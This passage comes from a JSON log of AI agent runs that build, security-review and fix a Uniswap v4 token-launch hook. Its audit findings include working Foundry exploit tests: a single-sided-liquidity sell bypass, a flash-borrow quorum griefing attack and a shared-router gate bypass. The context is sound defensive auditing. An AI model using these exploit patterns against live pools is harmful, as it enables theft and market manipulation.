HookFlags.BEFORE_INITIALIZE | HookFlags.BEFORE_SWAP | HookFlags.AFTER_SWAP;\n        bytes32 initCodeHash =\n            keccak256(abi.encodePacked(type(BuyGateHook).creationCode, abi.encode(IPoolManager(address(manager)))));\n        (bytes32 salt,) = HookFlags.mineSalt(address(this), flags, initCodeHash, 500_000);\n        deployed = new BuyGateHook{salt: salt}(IPoolManager(address(manager)));\n    }\n\n    function test_holderSellsThroughASingleSidedPositionWhileSellsAreClosed() public {\n        assertFalse(hook.sellWindowOpen());\n        uint256 holderEthBefore = holder.balance;\n        uint256 holderSurfBefore = token.balanceOf(holder);\n\n        // Holder parks 1,000 SURF in [-60, 0): a SURF-only limit order just below the price.\n        // (A fix that refuses third-party liquidity makes this revert; the final assertion then holds.)\n        bool added;\n        vm.prank(holder);\n        try lpRouter.modifyLiquidity(key, ModifyLiquidityParams(-60, 0, 333_000 ether, bytes32(0)), \"\") {\n            added = true;\n        } catch {}\n        if (added) {\n            assertLt(token.balanceOf(holder), holderSurfBefore, \"position took SURF\");\n            assertEq(holder.balance, holderEthBefore, \"and no ETH\");\n        }\n\n        // A buyer buys enough to cross that range.\n        vm.prank(buyer);\n        swapRouter.swap{value: 2_000 ether}(\n            key, SwapParams(true, -1_200 ether, TickMath.MIN_SQRT_PRICE + 1), PoolSwapTest.TestSettings(false, false), \"\"\n        );\n\n        // Holder removes the position and walks away with ETH, with sells closed.\n        if (added) {\n            vm.prank(holder);\n            lpRouter.modifyLiquidity(key, ModifyLiquidityParams(-60, 0, -333_000 ether, bytes32(0)), \"\");\n        }\n\n        emit log_named_uint(\"holder SURF after\", token.balanceOf(holder));\n        emit log_named_uint(\"holder ETH gained\", holder.balance - holderEthBefore);\n\n        assertFalse(hook.sellWindowOpen(), \"still no sell window\");\n        assertEq(holder.balance, holderEthBefore, \"holder must not be able to turn SURF into ETH while sells are closed\");\n    }\n}","reproduction":"State: pool at 1:1 (tick 0) with full-range liquidity 10,000e18; holder owns 1,000 SURF and 0 ETH; sellWindowOpen() == false (day 0, no vote). 1) holder -> PoolModifyLiquidityTest.modifyLiquidity(key, {tickLower:-60, tickUpper:0, liquidityDelta: 333_000e18}): takes ~997.5 SURF, 0 ETH. 2) buyer -> PoolSwapTest.swap{value: 2000 ether}(key, {zeroForOne:true, amountSpecified:-1200e18, limit MIN_SQRT_PRICE+1}): passes (buys always pass). 3) holder -> modifyLiquidity(key, {-60, 0, -333_000e18}). Observed: holder SURF after = 2.55 SURF, holder ETH gained = 1,003.46 ETH, sellWindowOpen() still false, records(0).sold == 0. Expected under the brief: a holder cannot turn SURF into ETH through this pool unless a vote opened the window and within 50% of yesterday's buys. Run: forge test --offline --match-path test/scratch/LpExitBypass.t.sol -vv","severity":"medium","snippet":"            beforeAddLiquidity: false,","title":"Holders convert SURF to ETH through single-sided liquidity while sells are closed: 'buys only' is bypassed by passive limit sells"},{"citation":"resolved","description":"votePassed requires both yes > no and yes + no >= quorum. The brief says '(must hit majority or quorum minimum)'. The README documents the conjunctive reading and gives a reason, and the conjunctive form is the stricter of the two, so this is a spec-interpretation note for the requester rather than a code defect. It is listed so the judge can confirm the intended rule; no change is recommended unless the requester meant the disjunction.","line":340,"path":"src/BuyGateHook.sol","reproduction":"State: day 0; alice stake 60 SURF votes true, bob stake 40 SURF votes false; circulating supply 1,000,000 SURF so quorum = 50,000 SURF. votePassed(0) == false (100 < 50,000) although yes is a 60% majority. Under a literal 'majority OR quorum' reading the window would open on day 1. Conversely, yes 30,000 / no 25,000 (total 55,000 >= quorum, majority yes) passes under both readings.","severity":"info","snippet":"        return record.hasVotes && record.yes > record.no && record.yes + record.no >= record.quorum;","title":"Vote passes only with majority AND quorum; the brief's wording is 'majority or quorum minimum'"}],"hash":"0cbe3ff56f32f002319f091c3293adce5967657669c3adb828a92fbe98be8346","nodeId":"1cf01c1e-81b7-4b98-91e3-22733f63e5c4","outcome":"completed","summary":"The review is complete. The working tree is clean apart from the findings file, and the scratch tests are ignored by git as intended.\n\n**Outcome.** The hook's swap path does what the README says, but both of the brief's economic rules can be defeated without going through a swap, and the vote can be blocked by anyone. I wrote four findings to `.imd-findings.json`, three with Foundry proofs under `test/scratch/` that fail on the current code.\n\n- **High: the 50% sell cap can be inflated for free.** `afterSwap` counts every buy's SURF output, including a buy routed through the buyer's own single-sided liquidity. An attacker adds a SURF-only position just below the price, buys it back from themselves, and removes the position. They end with the same SURF and ETH, but the hook recorded ~997,483 SURF \"bought\" against ~30 SURF that actually left the pool. Day-1 allowance becomes ~498,741 SURF instead of ~15.\n- **High: the daily vote can be blocked for gas.** The quorum snapshot reads the PoolManager's live SURF balance. Inside an `unlock`, a griefer flash-takes the manager's whole SURF balance, casts the day's first vote with 1 wei of stake, and pays it back. Quorum becomes 5% of total supply (50M SURF) instead of 5% of the real float (5.1M), so a 20M yes vote fails. Repeated daily, sells never open.\n- **Medium: \"buys only\" is bypassed by passive limit sells.** Liquidity operations are ungated, so a holder parks SURF as a position below the price, a buyer crosses it, and the holder removes ~1,003 ETH with sells closed and no vote. The author documented this as a limitation, but nothing enforces \"the factory is the only LP\".\n- **Info: majority AND quorum vs the brief's \"majority or quorum\".** Documented interpretation; flagged for the judge to confirm.\n\nBoth high findings share one practical fix: enable `beforeAddLiquidity` and restrict adds to the launch's seeding provider, which also closes the medium. The quorum finding additionally needs `vote` to refuse calls while the manager is unlocked, or a quorum basis the manager's balance cannot move.\n\n**Coverage.** All nine listed entry points have rows: `afterSwap` and `vote` point to findings 1 and 2; `beforeInitialize`, `beforeSwap`, `deposit`, `withdraw` and the three token functions hold after tracing their checks and failure paths. Six invariant rows are included, and the static-analysis leads were all checked and dismissed as sentinel or by-design timestamp use.\n\n**Verified state.** The project's own 47 tests pass. The three proof tests each fail for the stated reason and are written to pass once liquidity adds are gated or voting mid-unlock is refused.","treeHash":null,"usage":{"cachedInputTokens":1896807,"inputTokens":322,"model":"claude-fable-5-1","outputTokens":56072,"runtime":"claude","turns":35,"wallClockMs":732243}},{"artifacts":[],"attempt":1,"bundleHash":"d6eeafa3bbd0a12fcd696675237eb6fd4571658d3fc76625316f52952b5d5dcf","device":"03f15d1296244279","findings":[],"hash":"24786e19c3cbb7a9a14e4b4917548a173b969f10dd2e724b6778cc9b7508e7a9","nodeId":"8d9364dd-6564-4a69-8ff4-ad22509f6fb9","outcome":"completed","summary":"All three high findings reproduced on the starting tree and are fixed in `src/BuyGateHook.sol`. The build, all 56 tests, the format check, the deploy rehearsal and the pinned protected tests pass. Every finding is answered in `.imd-responses.json`.\n\n**What changed in the hook**\n\n- **Liquidity is restricted to the launch** (findings 1 and 2). `beforeAddLiquidity` is now enabled, so the address flags move from `0x20C0` to `0x28C0` (decimal 10432) and the deploy script mines for that. A position is accepted only in the transaction that initialized the pool (tracked in transient storage), from the account that called `initialize`, or as the pool's very first position. Anything else reverts with `LiquidityNotFromLaunch`. Removal stays open because only the launch can hold a position.\n- **Votes are refused while the PoolManager is unlocked** (finding 3). `vote` reads the manager's lock slot through `exttload` and reverts `ManagerUnlocked`, so a flash `take` can no longer feed the quorum snapshot.\n- **`hasVoted` remembers every day** a voter voted on, via a per-day mapping.\n\n**One thing you must know about the proofs.** All three proof files mine the hook address for the old flag set. The constructor's permission check rejects that address once `beforeAddLiquidity` is declared, so the originals now fail in their own `setUp` with `HookAddressNotValid` before any assertion runs. Relaxing the check would not help, because the PoolManager never calls a callback the address does not advertise, so no hook at a `0x20C0` address can refuse a position. I ran copies that differ only in the mined flags and all three pass. For that reason the three high findings are answered `disputed`, with the detail stating plainly that the defects are real and fixed and that the dispute is only about the proofs' setUp.\n\n**Tests added** in `test/BuyGateHook.t.sol`: the reviewers' single-sided exit and self-liquidity wash scenarios, third-party adds refused, a fuzz over ranges and sizes, a mock factory that initializes and seeds two positions in one call then adds later as its own router, first-position seeding, launch removal, the flash-vote griefer, and `hasVoted` across days.\n\n**Advisory findings:** `hasVoted` fixed. The circulating-supply base, the exact-input pre-check, and the first-pool binding are documented in the README rather than changed. The majority-and-quorum reading is kept and marked disputed as the deliberate interpretation, with its consequence spelled out for the requester.\n\n**Documentation:** README and REVIEW.md describe the liquidity rule, the new flags for the manifest, the `ManagerUnlocked` rule, and the operational requirement that the factory seed liquidity in the initialization transaction.\n\n**Not verified here:** how the real launch factory seeds liquidity. If it seeds in a later transaction through a public position manager, only the first position would be accepted, so the README asks for seeding in the initialization transaction.","treeHash":"7ba660f45e6888c41d08e0fd53847858f519d6b4","usage":{"cachedInputTokens":2943105,"inputTokens":642,"model":"claude-fable-5-1","outputTokens":77130,"runtime":"claude","turns":81,"wallClockMs":1105794}},{"artifacts":[],"attempt":1,"bundleHash":null,"device":"02ae6543274731ab","findings":[],"hash":"353cba3e24f457762e1b9fb7cee3db485c321f3627f2eb73cccd3816ed39f1e8","nodeId":"1cf01c1e-81b7-4b98-91e3-22733f63e5c4","outcome":"failed","summary":"This content was flagged for possible cybersecurity risk. If this seems wrong, try rephrasing your request. Otherwise, confirm that the access_programs.cyber parameter is set to the appropriate tier, and note that some cybersecurity requests are still limited, even when Daybreak is on.","treeHash":null,"usage":{"cachedInputTokens":0,"inputTokens":0,"model":"gpt-6-astra","outputTokens":0,"runtime":"codex","turns":2,"wallClockMs":217201}},{"artifacts":[],"attempt":1,"bundleHash":"9b0c789e9c3d7ea56e533ce5485412e3a5f2b538ad028527ce1613a63076bcfd","device":"468e82a89b9bfe18","findings":[],"hash":"4816435d4396aced39f9f18ce7baddc3c14f0cf06c4515ba1a7c3dc8da8748d5","nodeId":"8d9364dd-6564-4a69-8ff4-ad22509f6fb9","outcome":"completed","summary":"The deliverable is complete and committed as `c8dd15b`. A fresh clone builds, tests, formats and dry-runs the deploy script offline.\n\n**What was built**\n\n- `src/SurfToken.sol`: plain OpenZeppelin ERC-20 (\"SurfSurf\", SURF), no constructor arguments, 18 decimals, exactly 10^27 units minted to the deployer. No admin paths.\n- `src/BuyGateHook.sol`: the hook on the native-ETH / SURF pool. It enables `beforeInitialize`, `beforeSwap` and `afterSwap` only (address flags `0x20C0`). Buys always pass. Sells are refused unless a one-hour window is open at the start of the day, which happens when the previous day's vote passed. The window's aggregate allowance is 50% of the previous day's recorded buys. Exact-input sells over the allowance fail in `beforeSwap`; exact-output sells are charged in `afterSwap`. The hook charges no fee, overrides no LP fee, returns no deltas, binds to exactly one pool, and has no owner.\n- Voting: holders deposit SURF into the hook, vote once per day with their full deposit, and the deposit stays locked until the day ends. A vote passes with a strict majority and at least 5% of circulating supply, snapshotted at the day's first vote.\n- `script/Deploy.s.sol`: rehearsal deployment that mines a CREATE2 salt and reads only `EXPECTED_CHAIN_ID` and an optional `POOL_MANAGER`.\n- `README.md` documents rules, interpretations, interface, the Wizard-style configuration record, deployment parameters and operational responsibilities. `REVIEW.md` holds the self-review, findings and what was re-run.\n\n**Verification**\n\n| Check | Result |\n| --- | --- |\n| `forge build --offline` | passes (two informational timestamp lints) |\n| `forge test --offline` | 47 of 47 pass, including 7 fuzz tests |\n| `forge fmt --check` | clean |\n| `EXPECTED_CHAIN_ID=0 forge script ... --offline` | runs, hook lands on a flagged address |\n| Pinned `Hook.protected` and `Token.protected` suites | 9 of 9 pass against the built creation code |\n\n**Interpretations worth knowing**\n\n- \"Majority or quorum minimum\" was read as majority and quorum, both required.\n- The 50% cap is a shared budget for the window, not per address, because a hook only sees the router.\n- The brief gave no quorum figure, so it is 5% of circulating supply. This and the other constants cannot be changed after deployment.\n- The hook refuses pools whose `currency0` is not native ETH, matching how IMD launch markets are paired.\n\n**Left for the launch**\n\n- The manifest node must pass `[\"$poolManager\"]` as the hook constructor argument and flags `8384`.\n- Slither and Mythril were not available here and did not run.","treeHash":"83736d0e744fc410adef1b91ef630b3507ea010c","usage":{"cachedInputTokens":4086614,"inputTokens":1058,"model":"claude-fable-5-1","outputTokens":77967,"runtime":"claude","turns":52,"wallClockMs":968460}},{"artifacts":[],"attempt":1,"bundleHash":"8cf3c2df3fd2f63c36d5da4a2214a04cd9bc9307718ace9bae9716dc608ee959","device":"03f15d1296244279","findings":[],"hash":"48fe3c6e96e9a278c2523c7dab6358be47da09e5799f8b3e38cadb5e351f0ade","nodeId":"c5149e3f-4474-4afe-b186-f644adbb0205","outcome":"completed","summary":"The revision is complete. Only launch.json changed, and every check passes.\n\n**What was wrong.** The previous manifest listed three permissions, but the accepted fix for the single-sided-liquidity finding added `beforeAddLiquidity` to the hook. The manifest's permission list and its flag value no longer matched `getHookPermissions`, which is an acceptance criterion. The notes also described the pre-fix behavior.\n\n**What I changed in launch.json:**\n- Added `beforeAddLiquidity` to the permissions, so the list is now beforeInitialize, beforeAddLiquidity, beforeSwap, afterSwap.\n- Updated the notes to state the new flag value (10432 / 0x28C0), the liquidity gate (positions accepted only in the initialization transaction, from the initializer, or as the first position ever), the one-transaction factory expectation, unrestricted removal, and the vote refusal while the PoolManager is unlocked.\n- Left the hook and token names, the `$poolManager` constructor argument, the pool fields (native ETH, fee 3000, tick spacing 60, sqrtPriceX96 of 2^96), and the rest of the notes as previously accepted.\n\n**Verification results:**\n- Manifest parses, first key is `\"kind\": \"univ4_hook\"`, and it validates against the launch schema with the Python jsonschema library. Notes are 2761 characters, under the 4000 cap.\n- `forge build --offline` compiles. `forge test --offline` passes all 56 repository tests.\n- The two pinned protected test files, run from test/scratch with the flag value computed from the manifest's permission list, pass all 9 tests, including the permissions-match-declared-flags check against the real creation code.\n- Git shows launch.json as the only modified tracked file. The protected test copies live under test/scratch and are not submitted.","treeHash":"554104463e36b2b2d9947bc34b941a7715447563","usage":{"cachedInputTokens":581988,"inputTokens":322,"model":"claude-fable-5-1","outputTokens":7895,"runtime":"claude","turns":11,"wallClockMs":118140}},{"artifacts":[],"attempt":1,"bundleHash":null,"device":"35c52a5b502e847c","findings":[],"hash":"5cf0a750094f0b66d060dd952edefa72d65b67063148e6dcdda7e5a495d145c4","nodeId":"826d9863-e1b6-47b8-9129-54963b648c86","outcome":"failed","summary":"This content was flagged for possible cybersecurity risk. If this seems wrong, try rephrasing your request. If you’re doing authorized security work that requires more cyber permissive safeguards, apply for Daybreak access via https://platform.openai.com/settings/organization/status-and-access before retrying.","treeHash":null,"usage":{"cachedInputTokens":0,"inputTokens":0,"model":"gpt-6-astra","outputTokens":0,"runtime":"codex","turns":3,"wallClockMs":193500}},{"artifacts":[],"attempt":1,"bundleHash":null,"device":"3f6a9bdd601cb99f","findings":[],"hash":"5f21735a203e6299218dbd78adb0fe358ebbadeeecfa7e0617be01bd6c4e18e0","nodeId":"cfa732d0-c461-4cc2-b7b5-da85a297110c","outcome":"failed","summary":"This content was flagged for possible cybersecurity risk. If this seems wrong, try rephrasing your request. If you’re doing authorized security work that requires more cyber permissive safeguards, apply for Daybreak access via https://platform.openai.com/settings/organization/status-and-access before retrying.","treeHash":null,"usage":{"cachedInputTokens":0,"inputTokens":0,"model":"gpt-6-astra","outputTokens":0,"runtime":"codex","turns":3,"wallClockMs":266534}},{"artifacts":[],"attempt":2,"bundleHash":null,"device":"468e82a89b9bfe18","findings":[{"citation":"resolved","description":"beforeInitialize records the `sender` of PoolManager.initialize as `initializer` (line 221) and beforeAddLiquidity admits, forever, any later position whose `sender` equals it. That `sender` is the contract that called the PoolManager, not the end user. If the launch initializes the pool through any contract other people can also drive, such as Uniswap's PositionManager (initializePool then modifyLiquidities) or a factory that exposes a liquidity entry point, every position forwarded by that contract from anyone passes the gate. The resting-sell-order exit that the previous round's fix closed (my finding 2ed0b40b) is then open again: a holder parks SURF just below the price, a buy fills it, the holder removes the position and keeps ETH, with sells closed and nothing recorded. The hook cannot distinguish a shared router from the launch's own address, so the guarantee depends entirely on how the factory calls initialize, and the README only warns that post-seed adds cannot go through a shared router, not that initializing through one voids the rule. Reported by write_foundry_tests (medium); reproduced. Kept at medium: it is loss of the buys-only guarantee under a specific deployment shape the hook cannot verify. The same reliance on router identity also means that if the launch initializes in one transaction and seeds in a later one through a different router, a front-runner's dust position sets `seeded` and the launch's own seed is refused (reproduced in a scratch test; README 'The seed should be in the initialization transaction' documents this case, so it is not a separate finding). Fix that keeps the design: drop the `sender != initializer` clause and admit positions only inside the initialization transaction (the factory seeds there anyway), or bind the launch to an explicit address rather than to whichever contract called initialize. The attached proof passes under the first of these. If post-launch adds by the initializer must stay, document that initialize must be called directly from an address that exposes no liquidity path to third parties, and have the deployer confirm the factory's shape.","line":242,"path":"src/BuyGateHook.sol","proof":"// SPDX-License-Identifier: MIT\npragma solidity 0.8.26;\n\nimport {Test} from \"forge-std/Test.sol\";\nimport {PoolManager} from \"v4-core/src/PoolManager.sol\";\nimport {IPoolManager} from \"v4-core/src/interfaces/IPoolManager.sol\";\nimport {IHooks} from \"v4-core/src/interfaces/IHooks.sol\";\nimport {TickMath} from \"v4-core/src/libraries/TickMath.sol\";\nimport {PoolKey} from \"v4-core/src/types/PoolKey.sol\";\nimport {Currency, CurrencyLibrary} from \"v4-core/src/types/Currency.sol\";\nimport {ModifyLiquidityParams, SwapParams} from \"v4-core/src/types/PoolOperation.sol\";\nimport {PoolSwapTest} from \"v4-core/src/test/PoolSwapTest.sol\";\nimport {PoolModifyLiquidityTest} from \"v4-core/src/test/PoolModifyLiquidityTest.sol\";\n\nimport {SurfToken} from \"src/SurfToken.sol\";\nimport {BuyGateHook} from \"src/BuyGateHook.sol\";\nimport {HookFlags} from \"src/HookFlags.sol\";\n\n/// @notice A router anyone can call, which also initializes pools (like PositionManager.initializePool).\ncontract SharedLaunchRouter is PoolModifyLiquidityTest {\n    constructor(IPoolManager m) PoolModifyLiquidityTest(m) {}\n\n    function initializePool(PoolKey calldata key, uint160 sqrtPriceX96) external {\n        manager.initialize(key, sqrtPriceX96);\n    }\n}\n\ncontract SharedRouterGateTest is Test {\n    uint160 constant SQRT_PRICE_1_1 = 79228162514264337593543950336;\n    uint256 constant START = 1_800_000_000;\n    int24 constant MIN_TICK = -887_220;\n    int24 constant MAX_TICK = 887_220;\n\n    PoolManager manager;\n    SurfToken token;\n    BuyGateHook hook;\n    PoolSwapTest swapRouter;\n    SharedLaunchRouter router;\n    PoolModifyLiquidityTest otherRouter;\n    PoolKey key;\n\n    address alice = makeAddr(\"alice\");\n    address bob = makeAddr(\"bob\");\n\n    receive() external payable {}\n\n    function setUp() public {\n        vm.warp(START);\n        manager = new PoolManager(address(this));\n        token = new SurfToken();\n        hook = deployHook();\n        swapRouter = new PoolSwapTest(IPoolManager(address(manager)));\n        router = new SharedLaunchRouter(IPoolManager(address(manager)));\n        otherRouter = new PoolModifyLiquidityTest(IPoolManager(address(manager)));\n\n        key = PoolKey({\n            currency0: CurrencyLibrary.ADDRESS_ZERO,\n            currency1: Currency.wrap(address(token)),\n            fee: 3_000,\n            tickSpacing: 60,\n            hooks: IHooks(address(hook))\n        });\n\n        token.approve(address(router), type(uint256).max);\n        token.approve(address(otherRouter), type(uint256).max);\n        vm.deal(address(this), 100_000 ether);\n        token.transfer(alice, 1_000 ether);\n        vm.deal(bob, 10_000 ether);\n        vm.prank(alice);\n        token.approve(address(router), type(uint256).max);\n    }\n\n    function deployHook() internal returns (BuyGateHook deployed) {\n        uint160 flags = HookFlags.BEFORE_INITIALIZE | HookFlags.BEFORE_ADD_LIQUIDITY | HookFlags.BEFORE_SWAP\n            | HookFlags.AFTER_SWAP;\n        bytes32 initCodeHash =\n            keccak256(abi.encodePacked(type(BuyGateHook).creationCode, abi.encode(IPoolManager(address(manager)))));\n        (bytes32 salt,) = HookFlags.mineSalt(address(this), flags, initCodeHash, 500_000);\n        deployed = new BuyGateHook{salt: salt}(IPoolManager(address(manager)));\n    }\n\n    /// Launch initializes and seeds through a shared router; later every user of that router passes the gate.\n    function test_sharedRouterInitializerAdmitsEveryone() public {\n        router.initializePool(key, SQRT_PRICE_1_1);\n        router.modifyLiquidity{value: 10_100 ether}(\n            key, ModifyLiquidityParams(MIN_TICK, MAX_TICK, 10_000 ether, bytes32(0)), \"\"\n        );\n        assertEq(hook.initializer(), address(router));\n        assertTrue(hook.seeded());\n\n        // next transaction: alice, a stranger, parks SURF below the price through the same router\n        vm.roll(block.number + 1);\n        uint256 aliceEthBefore = alice.balance;\n        bool added;\n        vm.prank(alice);\n        try router.modifyLiquidity(key, ModifyLiquidityParams(-60, 0, 333_000 ether, bytes32(0)), \"\") {\n            added = true;\n        } catch {}\n        emit log_named_string(\"alice add through launch router\", added ? \"ACCEPTED\" : \"refused\");\n\n        vm.prank(bob);\n        swapRouter.swap{value: 2_000 ether}(\n            key, SwapParams(true, -1_200 ether, TickMath.MIN_SQRT_PRICE + 1), PoolSwapTest.TestSettings(false, false), \"\"\n        );\n        if (added) {\n            vm.prank(alice);\n            router.modifyLiquidity(key, ModifyLiquidityParams(-60, 0, -333_000 ether, bytes32(0)), \"\");\n        }\n        emit log_named_uint(\"alice ETH gained\", alice.balance - aliceEthBefore);\n        emit log_named_uint(\"alice SURF after\", token.balanceOf(alice));\n        assertFalse(hook.sellWindowOpen());\n        assertEq(alice.balance, aliceEthBefore, \"stranger turned SURF into ETH through the launch router\");\n    }\n}","reproduction":"State: fresh PoolManager; hook mined for 0x28C0; SharedLaunchRouter = PoolModifyLiquidityTest plus initializePool() forwarding manager.initialize. Launch: router.initializePool(ETH/SURF, 3000, 60, 1:1); router.modifyLiquidity(full range, +10,000e18) -> hook.initializer() == router, seeded() == true. Next block, day 0, sellWindowOpen() == false; alice holds 1,000 SURF and 0 ETH. (1) alice -> router.modifyLiquidity(key, {tickLower:-60, tickUpper:0, liquidityDelta:333_000e18}). Expected: revert LiquidityNotFromLaunch. Actual: accepted. (2) bob -> PoolSwapTest.swap{value: 2000 ether}(key, {zeroForOne:true, amountSpecified:-1200e18, limit MIN_SQRT_PRICE+1}): passes as a buy. (3) alice -> router.modifyLiquidity(key, {-60, 0, -333_000e18}). Expected: alice.balance == 0, 1,000 SURF. Actual (forge test --offline --match-path test/scratch/SharedRouterGate.t.sol -vv): alice ETH gained = 1003460283744294125149 wei, alice SURF after = 2546799681709947754, sellWindowOpen() == false. Test fails with 'stranger turned SURF into ETH through the launch router: 1003460283744294125149 != 0'; it passes once positions are admitted only in the initialization transaction (alice's add reverts, caught by the try/catch).","severity":"medium","snippet":"        if (!_inInitializationTransaction() && sender != initializer && seeded) revert LiquidityNotFromLaunch(sender);","title":"beforeAddLiquidity trusts the router that called initialize: a pool initialized through a shared router (PositionManager-style) admits every user of that router, reopening the single-sided SURF-to-ETH"}],"hash":"83839310bd2ade2364d11280a09dfe026e83825a335c62ab847049ca4a9244a8","nodeId":"63d3092d-a215-44bc-ace9-e613e4ba8f23","outcome":"completed","summary":"Those dotfiles are sandbox device-node masks (character devices owned by nobody), not files I created, so the tree is otherwise untouched. The review is complete.\n\n**Outcome: all three prior high findings are fixed. One medium finding is kept from the tester, reproduced and attached with a proof.**\n\n**Settled prior findings**\n\n- LP exit bypass (2ed0b40b) and bought inflation (80656b4d): fixed. The original proofs fail only in setUp with HookAddressNotValid because they mine for the pre-fix flag set, exactly as the author said. Copies that add the beforeAddLiquidity bit pass against the revised hook: the holder gains 0 ETH and keeps 1000 SURF, and recorded bought equals the SURF that actually left the pool.\n- Flash quorum (07134e31): fixed. The vote function now reverts ManagerUnlocked when the manager's unlock slot is set, before the quorum snapshot. The re-mined proof passes with the 20M yes vote opening the window on day 1.\n- hasVoted (7f63186a): fixed with a per-day mapping. The three info items (majority AND quorum, circulating base, nominal exact-input check, first-pool binding) were documentation dispositions and stand.\n\n**Kept finding, medium, src/BuyGateHook.sol line 242**\n\nThe liquidity gate admits any later position whose router equals the contract that called initialize. If the launch initializes through a shared router such as a PositionManager, every user of that router passes the gate and the single-sided SURF-to-ETH exit reopens. I reproduced the tester's scenario: a stranger adds through the launch router, a buy fills the position, and the stranger removes it with sells closed.\n\n| Measure | Value |\n|---|---|\n| Stranger ETH gained | 1003460283744294125149 wei |\n| Stranger SURF left | 2546799681709947754 |\n| sellWindowOpen | false |\n\nThe proof fails on the current code and passes once positions are admitted only in the initialization transaction. The related first-position race, where a front-runner's dust add blocks a later seed through a different router, is documented in the README and is noted inside the same finding rather than reported separately.\n\n**Coverage** answers all 10 entry points plus three prior-finding rows and one invariant. The project's own 106 tests pass offline. The findings file is at the repository root and test/scratch has been removed.","treeHash":null,"usage":{"cachedInputTokens":1068442,"inputTokens":290,"model":"claude-fable-5-1","outputTokens":16861,"runtime":"claude","turns":19,"wallClockMs":269719}},{"artifacts":[],"attempt":2,"bundleHash":null,"device":"d2d5a117dd72f6b4","findings":[{"citation":"resolved","description":"Trust gap (access x economics x asymmetry). vote() (src/BuyGateHook.sol:293-297) snapshots the day's quorum from circulatingSupply() at the first vote of the day, and circulatingSupply() is defined as totalSupply minus the PoolManager's ERC-20 balance. That balance is not a protected quantity: inside PoolManager.unlock(), any caller may take(currency1, to, amount) for the manager's entire SURF balance as long as it settles before the unlock ends (lib/v4-core/src/PoolManager.sol:291-297, 300-303). vote() has no guard against being called while the manager is unlocked, and the only requirement to vote is a non-zero stake (1 wei). So an unprivileged actor with 1 wei of stake can, in one transaction and with no capital, (1) take every SURF the manager holds, (2) cast the day's first vote so the snapshot sees circulating == totalSupply, and (3) pay the tokens back. The recorded quorum becomes 5% of the total supply (50,000,000 SURF) instead of 5% of what is actually outside the pool. At launch the pool holds most of the supply, so this is roughly a 10x inflation of the quorum, and the attack can be repeated at the first second of every day (or front-run the first honest vote). Holders who stake the promised 5% of circulating supply and vote yes with a clear majority never open a sell window: the one mechanism the brief gives holders to ever sell is griefable for gas. The documented 'first voter fixes the quorum' note (REVIEW.md finding 1) covers only the honest range of values; this path produces a value no honest state can reach. The same balance is also moved by anyone's liquidity add/remove and by ERC-6909 claims in either direction, so the metric is manipulable cross-transaction too, though those paths need real tokens. The measurement is also wrong in quiet conditions: SURF sitting in any other pool on the same PoolManager, or held as ERC-6909 claims, counts as 'in the pool'. Minimal fix that keeps the design: refuse vote() while the manager is unlocked (poolManager.exttload(Lock.IS_UNLOCKED_SLOT) != 0 => revert), which removes the zero-capital path; more robust: derive the quorum from a value the hook checkpoints itself at day boundaries (e.g. the manager balance observed in afterSwap at the last swap of the previous day, or the pool's own liquidity via StateLibrary) rather than a live balanceOf read any caller can move mid-transaction. Either preserves 'majority and 5% quorum'; the author must choose the basis.","line":331,"path":"src/BuyGateHook.sol","proof":"// SPDX-License-Identifier: MIT\npragma solidity 0.8.26;\n\nimport {Test} from \"forge-std/Test.sol\";\nimport {PoolManager} from \"v4-core/src/PoolManager.sol\";\nimport {IPoolManager} from \"v4-core/src/interfaces/IPoolManager.sol\";\nimport {IUnlockCallback} from \"v4-core/src/interfaces/callback/IUnlockCallback.sol\";\nimport {IHooks} from \"v4-core/src/interfaces/IHooks.sol\";\nimport {PoolKey} from \"v4-core/src/types/PoolKey.sol\";\nimport {Currency, CurrencyLibrary} from \"v4-core/src/types/Currency.sol\";\nimport {ModifyLiquidityParams} from \"v4-core/src/types/PoolOperation.sol\";\nimport {PoolModifyLiquidityTest} from \"v4-core/src/test/PoolModifyLiquidityTest.sol\";\n\nimport {SurfToken} from \"src/SurfToken.sol\";\nimport {BuyGateHook} from \"src/BuyGateHook.sol\";\nimport {HookFlags} from \"src/HookFlags.sol\";\n\n/// @dev An unprivileged contract with 1 wei of stake. Inside one PoolManager unlock it borrows the\n/// manager's whole SURF balance with `take`, casts the day's first vote while the manager holds nothing,\n/// and pays the tokens back before the unlock ends. Net cost: gas.\ncontract FlashVoter is IUnlockCallback {\n    IPoolManager immutable manager;\n    BuyGateHook immutable hook;\n    SurfToken immutable token;\n\n    constructor(IPoolManager _manager, BuyGateHook _hook, SurfToken _token) {\n        manager = _manager;\n        hook = _hook;\n        token = _token;\n    }\n\n    function stake(uint256 amount) external {\n        token.approve(address(hook), amount);\n        hook.deposit(amount);\n    }\n\n    function attack() external {\n        manager.unlock(\"\");\n    }\n\n    function unlockCallback(bytes calldata) external returns (bytes memory) {\n        require(msg.sender == address(manager));\n        Currency surf = Currency.wrap(address(token));\n        uint256 held = token.balanceOf(address(manager));\n\n        // 1. Borrow every SURF the manager holds. circulatingSupply() now equals totalSupply().\n        manager.take(surf, address(this), held);\n\n        // 2. Cast the first vote of the day: the quorum is snapshotted at 5% of the total supply.\n        hook.vote(false);\n\n        // 3. Give the tokens back so the unlock settles.\n        manager.sync(surf);\n        token.transfer(address(manager), held);\n        manager.settle();\n        return \"\";\n    }\n}\n\ncontract QuorumFlashGriefTest is Test {\n    uint160 constant SQRT_PRICE_1_1 = 79228162514264337593543950336;\n    uint256 constant START = 1_800_000_000;\n    int24 constant MIN_TICK = -887_220;\n\n    PoolManager manager;\n    SurfToken token;\n    BuyGateHook hook;\n    PoolModifyLiquidityTest lpRouter;\n    PoolKey key;\n\n    address honest = makeAddr(\"honest\");\n\n    function setUp() public {\n        vm.warp(START);\n        manager = new PoolManager(address(this));\n        token = new SurfToken();\n        hook = deployHook();\n        lpRouter = new PoolModifyLiquidityTest(IPoolManager(address(manager)));\n\n        key = PoolKey({\n            currency0: CurrencyLibrary.ADDRESS_ZERO,\n            currency1: Currency.wrap(address(token)),\n            fee: 3_000,\n            tickSpacing: 60,\n            hooks: IHooks(address(hook))\n        });\n        manager.initialize(key, SQRT_PRICE_1_1);\n\n        // Seed the pool the way a launch does: most of the supply, tokens only, below the current price.\n        token.approve(address(lpRouter), type(uint256).max);\n        lpRouter.modifyLiquidity(key, ModifyLiquidityParams(MIN_TICK, -60, 900_000_000 ether, bytes32(0)), \"\");\n    }\n\n    function deployHook() internal returns (BuyGateHook deployed) {\n        uint160 flags = HookFlags.BEFORE_INITIALIZE | HookFlags.BEFORE_SWAP | HookFlags.AFTER_SWAP;\n        bytes32 initCodeHash =\n            